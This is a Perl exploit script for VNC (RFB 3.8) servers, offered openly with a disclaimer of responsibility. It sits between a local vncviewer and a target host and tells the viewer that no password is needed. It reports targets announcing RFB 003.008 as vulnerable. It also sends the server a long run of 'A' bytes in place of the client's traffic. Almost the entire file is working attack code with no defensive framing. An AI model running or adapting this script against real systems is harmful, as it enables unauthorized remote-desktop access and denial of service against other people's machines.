#!/usr/bin/perl -w


#coded by sha0@badchecksum.net

#i'm not responsible of the bad use you can do of this code

#You have to install vncviewer, and the following perl modules:
#perl -MCPAN -e shell
#cpan>install threads
#...
#cpan>install IO::Socket
#...
#cpan>install IO::Select
#...

use IO::Socket;
use IO::Select;

my %vncauth=(
        ok=>"\x00\x00\x00\x00",
        failed=>"\x00\x00\x00\x01",
        toomany=>"\x00\x00\x00\x02"
);

my %vncauthmode=(
        failed=>"\x00\x00\x00\x00",
        nullpass=>"\x01\x01",
        vncauth=>"\x00\x00\x00\x02",
        mode=>"\x2d\x31"
);


my $lport=(int(rand(500))+10000);
my $rport=5900;
my $rhost=$ARGV[0];
my $buff;
my $vulnerable=0;

my $out;
my $in=IO::Socket::INET->new (
	LocalAddr=>'0.0.0.0',
	LocalPort=>$lport,
	Proto=>'tcp',
	Listen=>1,
	Reuse=>1
) or die "cannot open port $!\n";

print "listening $lport port\n";

if (!fork()) {
	sleep 2;
	`vncviewer 127.0.0.1::$lport `; #2>/dev/null 1>&2`;
	exit;
}


while (my $welcome=$in->accept()) {
	$out=IO::Socket::INET->new (
		PeerAddr=>$rhost,
		PeerPort=>$rport,
		Timeout=>20
	) or die "cannot connect $!\n";

	print "connected to $rhost:$rport\n";


	#ident
	$buff=&Recv($out,5);
	print "<<";&muestra($buff);
	$vulnerable=1 if ($buff =~ /^RFB 003\.008/);
	$welcome->send($buff);
	$buff=&Recv($welcome,5);
	$out->send($buff);
	print ">>";&muestra($buff);

	#modes
	$buff=&Recv($out,5);
	print "<<";&muestra($buff);
	$welcome->send($vncauthmode{nullpass});
	
	print "It's vulnerable :) \n" if ($vulnerable);


	#proxy
	if (!fork()) {
		$out->blocking(1);
		$welcome->blocking(1);
		$out->autoflush(1);
		$welcome->autoflush(1);

		$s=IO::Select->new($out, $welcome);
	proxy:
    		while(1) {
      			my @ready = $s->can_read;
			foreach my $ready (@ready) {
        			if($ready == $welcome) {
          				my $data;
	          			$welcome->recv($data, 8192);
					last proxy if (! length($data));
					last proxy if(!$out || !$out->connected);
					print ">>";
					&muestra($data);
					$out->send("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	          			#eval { $out->send($data); };
	          			last proxy if $@;
	        		} elsif ($ready == $out) {
	          			my $data;
				        $out->recv($data, 8192);
					last proxy if(!length($data));
				        last proxy if(!$welcome || !$welcome->connected);
					print "<<";
					&muestra($data);
				        eval { $welcome->send($data); };
				        last proxy if $@;
	        		}
			}
      		}
    	}

}


sub Recv {
	my ($sock,$timeout) = @_;
  	my $selector = IO::Select->new($sock);
  	my $data;

  	my $ready = $selector->can_read($timeout);
  	return -1 if (!$ready);

  	while(1) {
    		my $ready = $selector->can_read($timeout);
    		last if(!$ready);
    		$sock->recv($tempData,4096);
    		last if(!length($tempData));
    		$data .= $tempData;
  	}
  
	return($data);
}

sub muestra {
	my $data = $_[0];
	my @bytes = split(//,$data);
	my $b;

	foreach $b (@bytes) {
		printf "0x%x ",ord($b);
	}
	print "\n\n";
}
